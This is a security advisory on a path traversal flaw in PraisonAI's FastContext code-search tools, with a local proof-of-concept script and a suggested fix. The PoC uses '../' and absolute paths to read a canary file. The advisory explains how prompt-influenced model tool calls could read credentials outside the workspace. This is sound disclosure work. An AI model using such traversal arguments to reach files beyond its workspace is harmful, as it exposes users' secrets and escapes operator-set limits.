GHSA-4xxv-6wmf-xf45: Path Traversal
FastContext path resolution permits absolute and traversal reads outside the workspace
Summary
PraisonAI's praisonaiagents.context.fast FastContext feature treats workspacepath as the root directory for code search, but its model-facing search tools and high-level readcontext() helper accept absolute paths and .. traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.
Technical Details
FastContextAgent documents workspacepath as the "Root directory for searches" and stores it as an absolute path:
python class FastContextAgent: """Specialized agent for fast parallel code search.
Attributes: workspacepath: Root directory for searches """
def init(self, workspacepath: str, ...): self.workspacepath = os.path.abspath(workspacepath)
The same class exposes grepsearch, globsearch, readfile, and listdirectory as model function-call tools via gettools(). Those tools are intended to retrieve code context from the configured workspace.
The problem is in FastContextAgent.executetool(). It prepends workspacepath only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:
python if toolname in ("grepsearch", "globsearch"): if "searchpath" not in kwargs or kwargs["searchpath"] == ".": kwargs["searchpath"] = self.workspacepath elif not os.path.isabs(kwargs["searchpath"]): kwargs["searchpath"] = os.path.join(self.workspacepath, kwargs["searchpath"]) elif toolname == "listdirectory": if "dirpath" not in kwargs or kwargs["dirpath"] == ".": kwargs["dirpath"] = self.workspacepath elif not os.path.isabs(kwargs["dirpath"]): kwargs["dirpath"] = os.path.join(self.workspacepath, kwargs["dirpath"]) elif toolname == "readfile": if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]): kwargs["filepath"] = os.path.join(self.workspacepath, kwargs["filepath"])
As a result, an absolute path passes through unchanged, and a relative traversal such as ../outside-secret.txt is transformed into <workspace>/../outside-secret.txt. The downstream search tools then call os.path.abspath() and operate on the resolved outside path.
The downstream tools do not enforce a FastContext workspace boundary:
python def grepsearch(searchpath: str, pattern: str, ...): searchpath = os.path.abspath(searchpath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines()
python def readfile(filepath: str, ...): filepath = os.path.abspath(filepath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines()
python def listdirectory(dirpath: str, ...): dirpath = os.path.abspath(dirpath) ... for entry in os.scandir(path): ...
The model-backed FastContextAgent.search() path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a ToolCallBatch:
python response = modelclient.chat.completions.create( model=self.model, messages=messages, tools=[{"type": "function", "function": t} for t in self.gettools()], toolchoice="auto" ) ... args = json.loads(toolcall.function.arguments) batch.add(toolcall.function.name, args) ... toolresults = self.coordinator.executeturnsync(batch)
That path bypasses executetool()'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through ParallelSearchCoordinator.
The public high-level API has the same containment gap. FastContext.readcontext() documents filepath as "relative to workspace", joins relative paths with workspacepath, and then calls readfile() without a resolved-path containment check:
python def readcontext(self, filepath: str, ...): fullpath = filepath if not os.path.isabs(filepath): fullpath = os.path.join(self.workspacepath, filepath)
result = readfile(fullpath, ...)
This behavior is not required for intended FastContext code search. A normal search through searchsimple() searches only self.workspacepath; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.
PoV
The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed FastContextAgent.search() path because it dispatches model-generated path arguments to the same raw search functions.
python from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fastcontextagent import FastContextAgent
CANARY = "FASTCONTEXTCANARY=outside-workspace"
with TemporaryDirectory() as tmp: root = Path(tmp) / "workspace" root.mkdir() (root / "inside.txt").writetext("INSIDEONLY=workspace\n") outside = Path(tmp) / "outside-secret.txt" outside.writetext(CANARY + "\n")
agent = FastContextAgent(str(root))
assert len(agent.searchsimple(CANARY).files) == 0 assert "INSIDEONLY=workspace" in agent.executetool("readfile", filepath="inside.txt")["content"]
assert CANARY in agent.executetool("readfile", filepath="../outside-secret.txt")["content"] assert CANARY in agent.executetool("readfile", filepath=str(outside))["content"] assert any(CANARY in match["content"] for match in agent.executetool("grepsearch", searchpath="..", pattern=CANARY)) assert any(match["path"] == "outside-secret.txt" for match in agent.executetool("globsearch", searchpath="..", pattern=".txt")) assert any(entry["name"] == "outside-secret.txt" for entry in agent.executetool("listdirectory", dirpath="..")["entries"])
fc = FastContext(workspacepath=str(root), cacheenabled=False) assert CANARY in fc.readcontext("../outside-secret.txt")
PoC
Save the self-contained script from the Appendix below as fastcontextworkspacepov.py, then run it against a local checkout:
bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontextworkspacepov.py
Expected vulnerable output:
json { "results": { "absolutereaddisclosescanary": true, "globparentrevealsoutsidefile": true, "grepparentdisclosescanary": true, "highlevelreadcontextdisclosescanary": true, "insidereadstillworks": true, "listparentrevealsoutsidefile": true, "relativetraversalreaddisclosescanary": true, "simplesearchdoesnotfindoutsidecanary": true }, "vulnerable": true }
The version sweep sampled the FastContext introduction boundary and current releases:
text PraisonAI FastContext workspace-boundary version sweep currentmain: 1620b49f36945d8cc8ee5635b906c960df5097a0 latesttagcontext: v4.6.63-2-g1620b49f
v2.3.9 praisonaiagents=0.0.188 missing fastcontextagent.py v2.3.10 praisonaiagents=0.0.189 missing fastcontextagent.py {"ref": "v2.3.11", "praisonaiagentsversion": "0.0.190", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v3.8.1", "praisonaiagentsversion": "0.11.7", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.5.149", "praisonaiagentsversion": "1.6.8", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.6.58", "praisonaiagentsversion": "1.6.58", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.6.62", "praisonaiagentsversion": "1.6.62", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.6.63", "praisonaiagentsversion": "1.6.63", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "HEAD", "praisonaiagentsversion": "1.6.63", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true}
No external service, live target, or real credential is needed for reproduction.
Impact
If an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. grepsearch can search outside directories for secrets, globsearch and listdirectory can enumerate outside file names and metadata, and readfile/readcontext can return file contents.
The demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.
Suggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:
text CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Relevant CWEs:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Suggested Fix
Make FastContext path resolution fail closed around a single workspace-containment helper:
1. Resolve the configured workspace once. 2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require candidate.relativeto(workspace) to succeed. 3. Apply this helper in FastContextAgent.executetool() for grepsearch, globsearch, readfile, and listdirectory. 4. Apply the same helper before adding model-generated tool calls to ToolCallBatch in FastContextAgent.search(). Do not call the raw searchtools functions with model-supplied paths. 5. Apply the same helper in FastContext.readcontext(). 6. Consider making searchtools.executetool() accept an optional workspacepath and enforce containment when used as a workspace-scoped tool dispatcher. 7. Add regression tests for absolute outside paths and .. traversal in all four FastContext tools, high-level readcontext(), and the model tool-call execution path.
Minimal containment shape:
python def resolveworkspacepath(workspace: str, userpath: str) -> str: root = Path(workspace).resolve() candidate = Path(userpath) if not candidate.isabsolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relativeto(root) except ValueError as exc: raise PermissionError(f"FastContext path is outside workspace: {userpath}") from exc return str(resolved)
Affected Package/Versions
- Package: praisonaiagents - Component: praisonaiagents.context.fast - Current main tested: 1620b49f36945d8cc8ee5635b906c960df5097a0 - Current package version in the tested source tree: 1.6.63 - Sampled introduction boundary: absent in repo tags where praisonaiagents is 0.0.188 and 0.0.189; present and vulnerable starting with sampled 0.0.190 - Latest tested release tag: v4.6.63, praisonaiagents version 1.6.63
Suggested affected range, based on the sampled source sweep:
text praisonaiagents >= 0.0.190, <= 1.6.63
The exact first released package version should be confirmed by maintainers from the praisonaiagents.context.fast release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled praisonaiagents 0.0.190 point and still vulnerable on current main.
Advisory History
No checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in praisonaiagents.context.fast.
Closest public comparators are related but distinct:
- GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers praisonai Code CODETOOLS wrappers and unset workspace defaults for read/edit helpers. This report covers praisonaiagents.context.fast.FastContextAgent and FastContext with an explicitly configured workspacepath; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace. - GHSA-j7qx-p75m-wp7g: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw artifactpath values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop. - GHSA-22cj-m4wf-fv2c: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where runid and agentid are path components. This report covers FastContext's workspace root and file/search path tool arguments. - GHSA-grrg-5cg9-58pf / CVE-2026-40117: readskillfile() arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools. - GHSA-7j2f-xc8p-fjmq / CVE-2026-40152: legacy FileTools.listfiles() glob traversal. This report affects FastContext and can disclose file content through readfile/grepsearch, not only metadata through FileTools glob patterns. - GHSA-693f-pf34-72c5: FileTools path traversal. This report is in praisonaiagents.context.fast, not praisonaiagents.tools.filetools. - GHSA-9cr9-25q5-8prj and GHSA-9mqq-jqxf-grvw: MCP file/path traversal surfaces. This report does not use MCP.
Public issue/PR search found no hits for FastContext arbitrary file read, "Fast Context" workspace boundary, or fastcontextagent in MervinPraison/PraisonAI.
References
- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context - PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools - PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories - GHSA-gcq3-mfvh-3x25: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25 - GHSA-j7qx-p75m-wp7g: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g - GHSA-22cj-m4wf-fv2c: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c - GHSA-grrg-5cg9-58pf: https://github.com/advisories/GHSA-grrg-5cg9-58pf - GHSA-7j2f-xc8p-fjmq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html
Appendix: Self-Contained FastContext Workspace PoC
python #!/usr/bin/env python3 import json from pathlib import Path from tempfile import TemporaryDirectory
from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fastcontextagent import FastContextAgent
CANARY = "FASTCONTEXTCANARY=outside-workspace"
def main() -> None: with TemporaryDirectory(prefix="fastcontext-workspace-pov-") as tmp: temproot = Path(tmp) workspace = temproot / "workspace" workspace.mkdir() inside = workspace / "inside.txt" outside = temproot / "outside-secret.txt"
inside.writetext("INSIDEONLY=workspace\n", encoding="utf-8") outside.writetext(CANARY + "\n", encoding="utf-8")
agent = FastContextAgent(str(workspace), maxturns=2, maxparallel=4) simpleresult = agent.searchsimple(CANARY) insideresult = agent.executetool("readfile", filepath="inside.txt") relativeread = agent.executetool("readfile", filepath="../outside-secret.txt") absoluteread = agent.executetool("readfile", filepath=str(outside)) grepparent = agent.executetool("grepsearch", searchpath="..", pattern=CANARY, maxresults=5) globparent = agent.executetool("globsearch", searchpath="..", pattern=".txt", maxresults=5) listparent = agent.executetool("listdirectory", dirpath="..", maxentries=10)
context = FastContext(workspacepath=str(workspace), cacheenabled=False) contextread = context.readcontext("../outside-secret.txt")
results = { "simplesearchdoesnotfindoutsidecanary": len(simpleresult.files) == 0, "insidereadstillworks": "INSIDEONLY=workspace" in insideresult.get("content", ""), "relativetraversalreaddisclosescanary": CANARY in relativeread.get("content", ""), "absolutereaddisclosescanary": CANARY in absoluteread.get("content", ""), "grepparentdisclosescanary": any(CANARY in match.get("content", "") for match in grepparent), "globparentrevealsoutsidefile": any(match.get("path") == "outside-secret.txt" for match in globparent), "listparentrevealsoutsidefile": any(entry.get("name") == "outside-secret.txt" for entry in listparent.get("entries", [])), "highlevelreadcontextdisclosescanary": CANARY in (contextread or ""), }
print(json.dumps({"vulnerable": all(results.values()), "results": results}, indent=2, sortkeys=True))
if name == "main": main()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.78 - Compensating control
Make FastContext path resolution fail closed with a single workspace-containment helper: resolve the configured workspace once; for every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require candidate.relative_to(workspace) to succeed. Apply this helper in FastContextAgent.execute_tool() for grep_search, glob_search, read_file, and list_directory; in FastContext.read_context(); and before adding model-generated tool calls to ToolCallBatch in FastContextAgent.search(). Do not call raw search_tools functions with model-supplied paths.
- Operational
Add regression tests covering absolute outside paths and .. traversal in all four FastContext tools, high-level read_context(), and the model tool-call execution path.
Event History
Frequently Asked Questions
Who is exposed to this issue?
Deployments using PraisonAI's FastContext feature are exposed when a lower-trust prompt or caller can influence the arguments passed to its search or file-access tools. The risk is greater where the process can read sensitive files outside the intended workspace.
What access does an attacker need?
An attacker does not need direct filesystem access, but must be able to influence FastContext tool arguments through a prompt or caller-controlled input. Exploitation also requires user interaction according to the supplied vector.
Which FastContext interfaces can access files outside the workspace?
The affected model-facing tools are grep_search, glob_search, read_file, and list_directory, and the high-level read_context() helper is also affected. Absolute paths and paths containing traversal segments can be used without verifying that the resolved location remains under workspace_path.
What can be exposed if exploitation succeeds?
An attacker can read, search, and enumerate files outside the intended project workspace. Retrieved content may be returned to the caller or inserted into the model's tool-result context.